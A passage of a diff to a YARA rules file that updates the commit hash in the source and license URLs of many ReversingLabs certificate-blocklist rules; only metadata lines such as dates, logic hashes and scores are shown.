 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13312-L13328"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13312-L13328"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d6778630dcc3e4fe2816e6dee1b823e616f53de8a924057495c7c252948a71b4"
 		score = 75
 		quality = 90
@@ -19256,8 +19309,8 @@ rule REVERSINGLABS_Cert_Blocklist_6716A9C195987D5Cfe53A094779461E7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13330-L13346"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13330-L13346"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "648fd70432a791b3e589f5eda1b1510045b465623914a9762ff3dfb4a3e022f8"
 		score = 75
 		quality = 90
@@ -19281,8 +19334,8 @@ rule REVERSINGLABS_Cert_Blocklist_876C00Bd665Df98B35554F67A5C1C32A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13348-L13366"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13348-L13366"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "90bde1313db78d4166e8c87e7e4111c576880922b1c983f3a842ea030d38a0da"
 		score = 75
 		quality = 90
@@ -19306,8 +19359,8 @@ rule REVERSINGLABS_Cert_Blocklist_4B093Cb60D4B992266F550934A4Ac7D0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13368-L13384"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13368-L13384"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4b634bc706638d72f2d036d41cf092cac538e930d7d407eebc225b482fd64f51"
 		score = 75
 		quality = 90
@@ -19331,8 +19384,8 @@ rule REVERSINGLABS_Cert_Blocklist_2050B54146B011Ed30F60F61 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13386-L13402"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13386-L13402"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "74749317fcefcdb698046a6f42c6c6e05cc1eab1370b3b1fd7d025f49de4a032"
 		score = 75
 		quality = 90
@@ -19356,8 +19409,8 @@ rule REVERSINGLABS_Cert_Blocklist_73E2F34C9C2435F29Bbe0A3C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13404-L13420"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13404-L13420"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "503429e737e8bdad735cf88e2bb2877d1f52b2c38be101a7a129c02db608a347"
 		score = 75
 		quality = 90
@@ -19381,8 +19434,8 @@ rule REVERSINGLABS_Cert_Blocklist_68C457D7495D2A8D0D7B9042836135C2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13422-L13438"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13422-L13438"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3eb63f75f258eec611fa4288302f0ce5e47149ca876265a4a4b65dc33313aaa6"
 		score = 75
 		quality = 90
@@ -19406,8 +19459,8 @@ rule REVERSINGLABS_Cert_Blocklist_6B72Ca367D40Fbef16E73E6Eba6A9A59 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13440-L13456"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13440-L13456"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2b20c16dafcd891c36b28b36093cd3ad3a15f3795f0f2adda61fb0db2835d02d"
 		score = 75
 		quality = 90
@@ -19431,8 +19484,8 @@ rule REVERSINGLABS_Cert_Blocklist_736B7663D322533413F36E3E7E55F920 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13458-L13474"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13458-L13474"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "44e86319106a4bf8edba6c1be2f90d68b3d1ef4591f0cc23921a0dc4da4a407b"
 		score = 75
 		quality = 90
@@ -19456,8 +19509,8 @@ rule REVERSINGLABS_Cert_Blocklist_54A170102461Fdc967Acfafe4Bbbc7F0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13476-L13492"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13476-L13492"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ddae18d566fa2fd077f51d0afff74fb8a8e525f88f23908c7402a4b2c092ad24"
 		score = 75
 		quality = 90
@@ -19481,8 +19534,8 @@ rule REVERSINGLABS_Cert_Blocklist_0C501B8B113209C96C8119Cf7A6B8B79 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13494-L13510"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13494-L13510"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "dca37fda83650979566fb6ffbedaf713955a3c7f03ecc62e2e155475b7ca00e4"
 		score = 75
 		quality = 90
@@ -19506,8 +19559,8 @@ rule REVERSINGLABS_Cert_Blocklist_0300Ee4A4C52443147821A8186D04309 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13512-L13528"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13512-L13528"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8476ece98427c1ffd99d820c25fe664397de2c393473f7d5ee0846d8d840fd9e"
 		score = 75
 		quality = 90
@@ -19531,8 +19584,8 @@ rule REVERSINGLABS_Cert_Blocklist_202Cf8 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13530-L13546"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13530-L13546"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "671a4b522761fdff75d1c0c608e8cfb21c7ab538c8c30c8620315bc58ed358e6"
 		score = 75
 		quality = 90
@@ -19556,8 +19609,8 @@ rule REVERSINGLABS_Cert_Blocklist_6651Cc8B4850D4Dec61961503Ea7956B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13548-L13564"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13548-L13564"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "29bfe9c8b340b55a9daa2644e8d55b2b783cc95c85541732e6e0decca8c10ff6"
 		score = 75
 		quality = 90
@@ -19581,8 +19634,8 @@ rule REVERSINGLABS_Cert_Blocklist_25Bef28467E4750331D2F403458113B8 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13566-L13582"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13566-L13582"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "dc59fdecf60f3781e92cfe8469be2e0c1cb1cfdd3e9f9757d159667437cb37f5"
 		score = 75
 		quality = 90
@@ -19606,8 +19659,8 @@ rule REVERSINGLABS_Cert_Blocklist_0296Cf3314F434C5B74D0C3E36616Dd1 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13584-L13600"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13584-L13600"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "acf3b7460c79fa71c1b131b26a40bbc286c9da0a5fe7071bbe8b386a3ca91de4"
 		score = 75
 		quality = 90
@@ -19631,8 +19684,8 @@ rule REVERSINGLABS_Cert_Blocklist_045D57D63E13775C8F812E1864797F5A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13602-L13618"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13602-L13618"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d3e61e9a43f5b17ebb08b71dc39648d1f20273a18214f39605f365f9f0f72c10"
 		score = 75
 		quality = 90
@@ -19656,8 +19709,8 @@ rule REVERSINGLABS_Cert_Blocklist_6D633Df9Bb6015Fc3Ecea99Dff309Ee7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13620-L13636"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13620-L13636"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "84e2f427ee79b47db8d0e5f1e2217a7e1c1ea64047e01b4ea6db69f529501f36"
 		score = 75
 		quality = 90
@@ -19681,8 +19734,8 @@ rule REVERSINGLABS_Cert_Blocklist_22E2A66E63B8Cb4Ec6989Bf7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13638-L13654"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13638-L13654"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2099c508d1fd986f34f14aa396a5aaa136e2cdd2226099acdca9c14f6f6342eb"
 		score = 75
 		quality = 90
@@ -19706,8 +19759,8 @@ rule REVERSINGLABS_Cert_Blocklist_654B406De388Ec2Aec253Ff2Ba4C4Bbd : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13656-L13672"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13656-L13672"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a1aadaded55c8b0d85ac09ba9ab27fefaeec2969cdabaf26ff0c41bf33422ddc"
 		score = 75
 		quality = 90
@@ -19731,8 +19784,8 @@ rule REVERSINGLABS_Cert_Blocklist_78D1817Ebcf338B4E9C810F9740A726B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13674-L13690"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13674-L13690"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "62e59130ef0ac35b17a265bb8bc2031cac6a75c11925ccb21eb4601b8fbe1a63"
 		score = 75
 		quality = 90
@@ -19756,8 +19809,8 @@ rule REVERSINGLABS_Cert_Blocklist_45Fbcdb1Fbd3D702Fb77257B45D8C58E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13692-L13708"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13692-L13708"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "441e10f49515d75ee9e8983ba4321377fee13a91ca5eeddc08b393136ce8ccfd"
 		score = 75
 		quality = 90
@@ -19781,8 +19834,8 @@ rule REVERSINGLABS_Cert_Blocklist_4B5D8Ed5Ca011679F141F124 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13710-L13726"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13710-L13726"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "39ff0d5fd711524ce181596033d1d51579cd086eb20b87722aebf39623bbaa17"
 		score = 75
 		quality = 90
@@ -19806,8 +19859,8 @@ rule REVERSINGLABS_Cert_Blocklist_33671F1Bcbd0F5E231Fc386F4895000E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13728-L13744"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13728-L13744"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "9199c8d76e3390ec9038808b4e88b803b3f3d6966af6206d0c9968d9ab673f31"
 		score = 75
 		quality = 90
@@ -19831,8 +19884,8 @@ rule REVERSINGLABS_Cert_Blocklist_32Bc299F0694C19Ec21E71265B1D7E17 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13746-L13762"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13746-L13762"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "cb522e3084d382c451a8b040095e75582675f90dbb588e370f2f0054f4c2d14b"
 		score = 75
 		quality = 90
@@ -19856,8 +19909,8 @@ rule REVERSINGLABS_Cert_Blocklist_7B75C6B0A09Afdb9787F6Dff75Ae7844 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13764-L13780"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13764-L13780"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8fd125a526b3433fbb8a5c6fa74ce0b0e2de8ff789880c355625d4140cd902a2"
 		score = 75
 		quality = 90
@@ -19881,8 +19934,8 @@ rule REVERSINGLABS_Cert_Blocklist_167Fd1295B3Bb102Dbb37292C838E7Cd : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13782-L13798"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13782-L13798"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1cc7d441291fd9c4dc37320d411f94fb362523d47d37ab35c20b3ac9d4cd75cb"
 		score = 75
 		quality = 90
@@ -19906,8 +19959,8 @@ rule REVERSINGLABS_Cert_Blocklist_253Ad25E39Abe8F8Fda9Fcf6 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13800-L13816"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13800-L13816"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1d46ccaa136cd7be30ffbf0eb09eb6485c543ff4bdbe99fa7ea3846841cbd41b"
 		score = 75
 		quality = 90
@@ -19931,8 +19984,8 @@ rule REVERSINGLABS_Cert_Blocklist_A9C1523Cb2C73A82771D318124963E87 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13818-L13836"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13818-L13836"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "87e314d14361f56935b7a8fb93468cfaf2c73e16c25d68a61ec80ad9334d3115"
 		score = 75
 		quality = 90
@@ -19956,8 +20009,8 @@ rule REVERSINGLABS_Cert_Blocklist_68E1B2C210B19Bb1F2A24176709B165B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13838-L13854"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13838-L13854"
